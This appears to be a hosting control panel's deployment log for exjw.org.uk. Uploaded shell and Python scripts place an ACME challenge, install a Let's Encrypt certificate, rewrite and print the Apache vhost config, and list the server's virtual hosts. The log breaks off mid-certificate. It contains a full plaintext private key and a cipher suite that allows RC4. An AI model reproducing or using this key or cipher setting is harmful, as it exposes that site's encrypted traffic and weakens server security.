chmod 755 /tmp/pkp869287; /tmp/pkp869287; rm /tmp/pkp869287

2025-10-24 06:01:01: 


1


2025-10-24 06:01:02: Establishing a connection
2025-10-24 06:01:02: 

PUT: /tmp/pkp851575

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE


2025-10-24 06:01:02: 

chmod 755 /tmp/pkp851575; /tmp/pkp851575; rm /tmp/pkp851575

2025-10-24 06:01:02: 




2025-10-24 06:01:08: Establishing a connection
2025-10-24 06:01:08: 

PUT: /tmp/pkp104098

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm SSc7ObmLUCa7DgD1s0ExFrfa896N_rFskuksU_i4RnE


2025-10-24 06:01:08: 

chmod 755 /tmp/pkp104098; /tmp/pkp104098; rm /tmp/pkp104098

2025-10-24 06:01:08: 




2025-10-24 06:01:08: Establishing a connection
2025-10-24 06:01:08: 

PUT: /tmp/pkp312679

#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt

cat > $temp_file <<'endmsg'
1e:5d:66:a1:17:26:91:65:4b:e8:52:bb:cf:2a:c0:d9

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBdszfmZmIJy29sub85BQ0/XZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjM3WhcNMjYwMTIyMDUwMjM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKtJ
PhJDDvjQlxwWKfJOHOQdY+/YAUvYuaMCmrOFi7Uv550o+WN1q1mMwFqxpoVVAf9L
2CttKAoNEGqtz3WhKqP4xcPlXsg5PfFhNIJ0W6rvPK3XylayxaVordnBUSD55U/w
XIRvredF0ywODSIa2HvcUb88jfXOy3/j7hOmHp7mi6JqR/tIptoLZG18IAHKbQXm
1KQ5+zebXQS9H5gEvQxGrGCTeW8wY8YAhTylVEDybQGu5Wyc16ai9gsSK3SdaxCr
g36RUaFqpAMsCCD9uhbnSgV86Wlu+tSZomms+cl0k1SXulQ/XrJvSt6S+5dCy3YC
9BPfcnrn0I8tSgb43mUCAwEAAaOCAhowggIWMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUBZ3EhkLHosfXRoS2ySyccsh5OjgwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iu
b3JnLzkwLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABmhTOe28AAAQDAEcwRQIhAJGwit2etaOE
N+6uz2LkhIefVF5H2LgYwWPuRiz5mmjCAiAj9YuX3WWNI3b8I+87FEWAedVZChjt
UrQsnk/idULFbQB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAAB
mhTOe4MAAAQDAEYwRAIgRKxWGJN382SEqrYz2MRWFluvd+znNtukA+T2BrBMTY8C
IGz9ZxRIconcIPwqfK/rBbjxIaAz7iTrN8YGNDofUWaXMA0GCSqGSIb3DQEBCwUA
A4IBAQBe0sghFGux/IkTSMH6JaFhfgOXlUC/cFe44RV/fa1FF3pQZPFeP/kFqxRj
0JC3AX/6LlJw32uujgQp+IKcEOuGxHY0HLPDd8N6pVZ/govbf+j0xHRmaMpYMrkW
c5pHHlkNhgQSrWPCPzLerhLgt4Tso+FRZ6gAyxOT/bJvwghBYcungPuqEW5srG3C
viGddUPKMsNkvNnPCs7q6Q2KMia7lzjr1HscdpqmOrJEqaSXF5tBC/+a1QA6rVeg
rXR4iiX9juM2K9lPtOb84DSgh7GYhBp6HJJwWr9mKVW5luqWypr2eap+Gkly0I2U
C72+ifkWgAINsVvj9/BZ+Qlt3HPS
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCrST4SQw740Jcc
FinyThzkHWPv2AFL2LmjApqzhYu1L+edKPljdatZjMBasaaFVQH/S9grbSgKDRBq
rc91oSqj+MXD5V7IOT3xYTSCdFuq7zyt18pWssWlaK3ZwVEg+eVP8FyEb63nRdMs
Dg0iGth73FG/PI31zst/4+4Tph6e5ouiakf7SKbaC2RtfCABym0F5tSkOfs3m10E
vR+YBL0MRqxgk3lvMGPGAIU8pVRA8m0BruVsnNemovYLEit0nWsQq4N+kVGhaqQD
LAgg/boW50oFfOlpbvrUmaJprPnJdJNUl7pUP16yb0rekvuXQst2AvQT33J659CP
LUoG+N5lAgMBAAECggEBAKCwzs29IY+lyQ3tcR7Dz3Dmbbo2EElCoi1epRmkQMQT
lBuptAVt//m8BT1QiqNtc7k5QyzCdByx0uPx+b4mG+XG3moAhmIa6ZTJF8UHOnRr
iqag2k9p2ehrAyZVqTHhnxLWsUUBrMlahVlAOWv0eYIB2KMrQRcJEXsCr3i5kOKK
Z/Ty/RtwuoAg3DJcaTSJatPoTy0Mt0eu1JqI4OFLYi2ynnV6laQjxFp/oOrgbiZe
U44J8U0nYFx8JxAKxEdCDFi6rhInNvZ+uCm1GqCBAWFv5JqreG4lZLVwFn7nfp+o
iCbfFhG1DvOzo6ZP8aU28kgX77KOqLOt3OuYboRuJgUCgYEA2LLbWSJzANQuySbq
p1qWHvYaYtDvGBHxluFclzITk8MrUmaIuBOtZTsgY1q5KLOs23Weu8+9CNDi+ftF
fhuv2h2ABFW+XUsWvp9/zV+L1RgxD1mJtH9H6kQ69UddRGnQlgu61t2kyh9+lSro
oRcg5PtJfW4eT0w2ErRnJjGQ3UsCgYEAylnq3lCsFhDflQ/6movarKo8XJ4tDXlj
MFh9+APklKKWM8yC3dfE1FqvL4qrbpbPFcphRFGWLIuCEk29fqi7uCtQV7RWdB6t
I6GqcA2ls02LA2/pnf4imx4gKXjXrpT2AO0dErGP4YVo50JOB+MIFT4JcAImmlOn
UTdZcdrGVQ8CgYEAqoemInD/u6k+4EFl7ClXdioJ/bWaUoDcc/YJnVplGaU/VGso
MGQb0kxDYqykhalP4KyhK/+BLYzk8gCRYXp8WtNYSREI6/YJgh2Wv5HvQtT01rWJ
rqdzeqITG677cLks0seMU0a9Reqe/Nh1lT/UPR6baL/dzl2VOAcMHXxoGh0CgYEA
jqS6S8PEu71jT1o3R/Dk0ykiagvbKI90m6UWD9r2rMy8Y4F8k1RCXYwbyMDRPqEz
FGJZFOcKnRYvOCXzOjFKO3bVKS5ob20ckmypkFoef/pez6p5njWDQaQH+hREvr4l
eNutzfq7ubfpDnUQOsERdqAH2Ry7B7mGzlrdQ8R8YYMCgYANTDlRwOPCKzxVSvqZ
OXbP5G3mXfH3rHSJWYwhBKOLwt2GhnOYuugq/+CkQITFgR+RFPFH4q/Tnsdtk6hl
JAZE2jfBfjpRIuAzmuvtKoSiGgWfox9cWa7uCuVrjuzhtRBwmwM+NBCUphysyYMX
pPcUzS7JlXOo+jdB9KZ2FtL44g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-24 06:01:08: 

chmod 755 /tmp/pkp312679; /tmp/pkp312679; rm /tmp/pkp312679

2025-10-24 06:01:08: 


dir=/etc/ssl/certs


2025-10-24 06:01:08: 

PUT: /tmp/pkp457019

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-24 06:01:08: 

chmod 755 /tmp/pkp457019; /tmp/pkp457019; rm /tmp/pkp457019

2025-10-24 06:01:08: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-10-24 06:01:08: 

PUT: /tmp/pkp163281

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi


2025-10-24 06:01:08: 

chmod 755 /tmp/pkp163281; /tmp/pkp163281; rm /tmp/pkp163281

2025-10-24 06:01:08: 




2025-10-24 06:01:08: 

PUT: /tmp/pkp628901

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-24 06:01:08: 

chmod 755 /tmp/pkp628901; /tmp/pkp628901; rm /tmp/pkp628901

2025-10-24 06:01:09: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:01:09: Establishing a connection
2025-10-24 06:01:09: 

PUT: /tmp/pkp377853

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-24 06:01:09: 

chmod 755 /tmp/pkp377853; /tmp/pkp377853; rm /tmp/pkp377853

2025-10-24 06:01:09: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-24 06:01:09: 

PUT: /tmp/pkp695843

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/exjw_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:01:09: 

chmod 755 /tmp/pkp695843; /tmp/pkp695843; rm /tmp/pkp695843

2025-10-24 06:01:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf	1259

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-24 06:01:09: 

PUT: /tmp/pkp668400

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-24 06:01:09: 

chmod 755 /tmp/pkp668400; /tmp/pkp668400; rm /tmp/pkp668400

2025-10-24 06:01:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt	5337
1e:5d:66:a1:17:26:91:65:4b:e8:52:bb:cf:2a:c0:d9

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBdszfmZmIJy29sub85BQ0/XZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDI0MDUwMjM3WhcNMjYwMTIyMDUwMjM2WjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKtJ
PhJDDvjQlxwWKfJOHOQdY+/YAUvYuaMCmrOFi7Uv550o+WN1q1mMwFqxpoVVAf9L
2CttKAoNEGqtz3WhKqP4xcPlXsg5PfFhNIJ0W6rvPK3XylayxaVordnBUSD55U/w
XIRvredF0ywODSIa2HvcUb88jfXOy3/j7hOmHp7mi6JqR/tIptoLZG18IAHKbQXm
